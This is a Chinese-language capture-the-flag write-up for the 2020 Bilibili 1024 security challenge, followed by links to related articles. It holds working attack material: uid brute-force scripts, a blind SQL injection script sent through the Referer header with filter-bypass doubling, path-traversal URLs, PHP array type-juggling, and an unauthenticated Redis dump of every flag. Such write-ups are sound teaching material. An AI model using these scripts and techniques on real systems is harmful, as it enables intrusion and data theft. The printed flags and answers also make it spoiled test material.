后五题Write Up主要来自:榜一写的writeup

第一题

“页面的背后是什么” 指网页源代码

Ctrl+U 查看网页源代码 看到向一个地方发送了get请求

发送一个请求,或者直接找找flag1相关的东西就能找到

第二题

"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问

使用抓包工具抓包

把浏览器(UA)伪造成"bilibili Security Browser"

需要注意的是如果是Postman需要添加Cookie

第三题

“密码是啥”

密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~

第四题

"对不起,权限不足~"指你的身份不对

可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user对应的md5值,这里的脑洞在于你要把它改成Administrator对应的md5值。

MD5

伪装成 超级管理员

猜测角色名字,首字母大写

第五题

Ctrl+U 查看网页源代码,看看它想要干什么

注意里面有个神奇的uid

暴力遍历要从合适的位置开始

Java版本

        for(int i=100336889;i<100999999;i++){Request.Builder builder1 = new Request.Builder();Request build1 = builder1.url("http://45.113.201.36/api/ctf/5?uid=" + i).header("Charset", "UTF-8").header("Connection", "Keep-Alive").header("Content-Type", "application/x-www-form-urlencoded").header("Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee").get().build();try{JSONObject j=JSONObject.parseObject(new HttpClient().newCall(build1).execute().body().string());//System.out.println(j);if(j.getString("code").equals("200")){System.out.println(j.getString("data"));}else{if(i%100==0){System.out.println(i);}}}catch (Exception e){e.printStackTrace();}}

Python版本

for uid in range(100336889,99999999999):params = (('uid', uid),)response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()if response['code'] != '403':print(response)print(uid)

第六题

“结束亦是开始”

硬猜得到 /blog/end.php。

扫描

test.php

test.php的内容是jsfuck

执行

unicode 解码后是“程序员最多的地方”=>GitHub

搜索

https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php

<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){$content = file_get_contents($_GET['url']);//文件路径猜解if (false){echo "还差一点点啦~";}else{echo $flag;}
}else{echo "你想要的不在这儿~";
}
?>

构造参数URL

http://120.92.151.189/blog/end.php?id[]=1

结合前面题目的url猜测

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

这里跳转第十题

http://45.113.201.36/api/images?file=../../../flag7.txt

这里跳转第七题

http://45.113.201.36/api/images?file=../../../secret.txt

这里跳转第九题

简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。

import requests
import time
import sysURL = "http://120.92.151.189/blog/single.php?id=1"
payload = "http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"query = "selselectect hex(flag) from flag limit 1"
rtn = ""
for m in range(1, 40):for n in '!0123456789ABCDEF?':n = ord(n)rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})if rps.status_code == 503:while rps.status_code == 503:rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})if 'admin' in rps.text:if n == ord('!'):exit(0)rtn += chr(n)try:print(rtn.decode('hex'))except Exception:passbreakif n == ord('?'):exit(0)

SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息

第七题

第六题中

考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png 并且有些有注释掉的banner.png,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是

http://45.113.201.36/api/images?file=../../../flag7.txt

任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的../../../flag7.txt,会让一些本来会做的人不会做了,一般的求解方式都是先判断 ?file=./banner.png是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了

第八题

第六题中

端口扫描

服务器开启了6379端口,Redis的默认端口

[root@iz2ze77]# redis-cli -h 120.92.151.189 -p 6379
120.92.151.189:6379> keys *1) "flag4"2) "flag6"3) "flag7"4) "flag9"5) "flag8"6) "flag1"7) "flag2"8) "flag3"9) "flag5"
10) "flag10"
120.92.151.189:6379> get flag1
"3b96173a-b3df4cdd-22d4c15f-261e7309"
120.92.151.189:6379> get flag2
"bd871042-1e09a130-3ddd4faa-cebdb048"
120.92.151.189:6379> get flag3
"c7f7a7c2-28b7f895-5432152b-6410e042"
120.92.151.189:6379> get flag4
"d338e3c8-93215105-258d79ba-b364e59c"
120.92.151.189:6379> get flag5
"612d1886-044898af-6c1e9dba-b58ad075"
120.92.151.189:6379> get flag6
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
120.92.151.189:6379> get flag7
"b78ce2aa-10d03327-f2035f4e-55c17689"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
120.92.151.189:6379> get flag9
"b3238659-b81512e6-3a307c74-9877ecc5"
120.92.151.189:6379> get flag10
"e5653416-595b3d0c-4c2a57ee-c026350e"

因为扫描的原因,服务器很卡,容易掉线。

[root@iz2zeihez ~]# redis-cli -h 120.92.151.189 -p 6379
Could not connect to Redis at 120.92.151.189:6379: Connection refused
not connected> exit
[root@iz2zeihez ~]#

第九题

第六题中

http://45.113.201.36/api/images?file=../../../secret.txt

网传解法:

AES解密

from Crypto.Cipher import AES
aes = AES.new('aes_key'+'\x00'*9, AES.MODE_ECB)
print base64.b64encode(base64.b64encode('00000000-00000000-00000000-00000000'))s='SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode('base64')
print aes.decrypt(s.decode('base64'))

flag9: 8b522546-e52d83b8-5682e05c-c8cb237c

第十题

第六题中

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

下载

二进制编辑器打开

参考文章

2020哔哩哔哩bilibili安全挑战赛前5题思路

如何评价 2020 年 Bilibili 安全挑战赛?

Bilibili CTF

**只有超级管理员才能看wp**

bilibili ctf 第一题

Bilibili 2020 CTF

榜一写的writeup

2020-1024程序员节首届哔哩哔哩安全挑战赛Write Up相关推荐

  1. 2021哔哩哔哩1024程序员节日第二弹:安全攻防挑战赛

    文章目录 1.安防第一题 2.安防第二题 3.安防第三题 4.安防第四题 567 1.安防第一题 1024程序员节,大家一起和2233参与解密游戏吧~ happy_1024_2233: e9ca6f2 ...

  2. 2021哔哩哔哩1024程序员节日第一弹:算法与安全

    前两天参加了哔哩哔哩1024程序员节活动,看到了几个有意思的算法题,分享一下.(文末有全部答案) 文章目录 1.蚂蚁爬木杆 2.爬台阶 3.中位数 4.香钟 5.吃烤鸭 6.报30 7.老鼠吃毒药 1 ...

  3. 哔哩哔哩2021年1024程序员节算发与安全答题——解析答案

    哔哩哔哩2021年1024程序员节算发与安全答题 最后图片仅供参考

  4. 2020年的1024程序员节(娱乐小文章)

    十月二十四 想必在座的各位绝大部分人都对10.24有所了解,2020年的10.24就是今天.10.24程序员节是广大单身程序员的共同庆祝的节日. 为什么说广大单身程序猿共同庆祝呢!!! 因为有对象的人 ...

  5. 哔哩哔哩2020年Q4及全年财报:全年营收120亿元,同比增长77%

    Python实战社群 Java实战社群 长按识别下方二维码,按需求添加 扫码关注添加客服 进Python社群▲ 扫码关注添加客服 进Java社群▲ 来源丨TechWeb(ID:TechWeb) 北京时 ...

  6. 哔哩哔哩swot分析_哔哩哔哩2020校园招聘游戏运营笔试真题

    在前不久<英雄联盟>S9世界大赛总决赛上,中国FPX战队以3:0横扫欧洲G2最终夺得S9世界冠军,国内玩家万分激动. 总决赛刚结束不久,B站以8亿元价格拍得<英雄联盟>全球总决 ...

  7. 2020哔哩哔哩校招后端开发笔试编程题总结

    2020哔哩哔哩校招后端开发笔试编程题总结 1.给定一个正整数N,试求有多少组连续正整数满足所有数字之和为N? (1 <= N <= 10 ^ 9) 暴力求解法: package Day4 ...

  8. [校招] 英文句子单词反转 - 哔哩哔哩 2020

    [校招] 英文句子单词反转 - 哔哩哔哩 2020 描述 原地翻转句子中单词的顺序,但单词内字符的顺序不变.要求:空间复杂度O(1),时间复杂度O(n). 输入 英文句子中单词以一个空格符隔开.为简单 ...

  9. 一年中的第几天 哔哩哔哩2020校园招聘笔试题讲解

    一年中的第几天 一.题目信息 二.解题思路 三.代码实现 四.其他题目分享 一.题目信息 题目要求输入一个字符串,表示年月日,需要你输出改天是这一年的第几天.输入输入自己解决. 二.解题思路 假设我们 ...

最新文章

  1. 年薪25-50w| 虚拟现实创新中心三维重建算法高级研究员招聘
  2. php 执行系统命令函数
  3. hideprocess in bcb
  4. 沫沫金:PS快速扣头发丝【详细教程】
  5. 视频帧AI分析后编码
  6. dom不刷新 vue 加数据后_vue 数据更新 dom不渲染
  7. c语言三角波的mif文件,EDA课程设计报告-正弦波信号发生器的设计.doc
  8. time stamp convert
  9. 计算机开机错误怎么办,电脑开机蓝屏错误代码0X0000007E怎么办?
  10. 计算机无线网怎么安装教程,wifi怎么安装,教您电脑如何安装wifi
  11. 2020年了,简单聊一聊木东居士的那些事~
  12. 微信小程序通过code去获取微信用户的加密信息
  13. html输入某天得到周几,HTML “input week年周”输入控件简介说明
  14. 四年级计算机走进传统节日教案,四年级走进中国传统节日的作文范文
  15. Linux驱动框架与杂项字符设备框架介绍
  16. Python爬虫:获取糗事百科笑话
  17. 国防科大计算机学院教学科研处,国防科大计算机学院工学博士学位论文 摘要...
  18. python分子化学模拟_#分子模拟#MDTraj分子模拟python包(一)
  19. 安卓桌面小部件使用一段时间后无响应变为空白
  20. Python爬虫常用正则re.findall的使用

热门文章

  1. 佳明手表大数据应用_如何用佳明手表数据化跑步 衡
  2. 第二章 关系数据结构及关系的完整性习题解析
  3. 存储系统设计——NVMe SSD性能影响因素一探究竟
  4. 嵌入式到底是不是个大坑?6个对话让你重新认清真相!
  5. 面试官问:你能介绍一下Ansible变量吗?之后你噼里啪啦讲得太详细让面试官惊呆了
  6. 一家公司要了你后,凭什么给你开高工资?
  7. python简历项目经验怎么写_个人简历中工作经验怎么写?
  8. emoji表情导致输入框maxlength失效
  9. pyppeteer的Browser类及其BrowserContext类
  10. 最近一些的有意思的思考-记录成长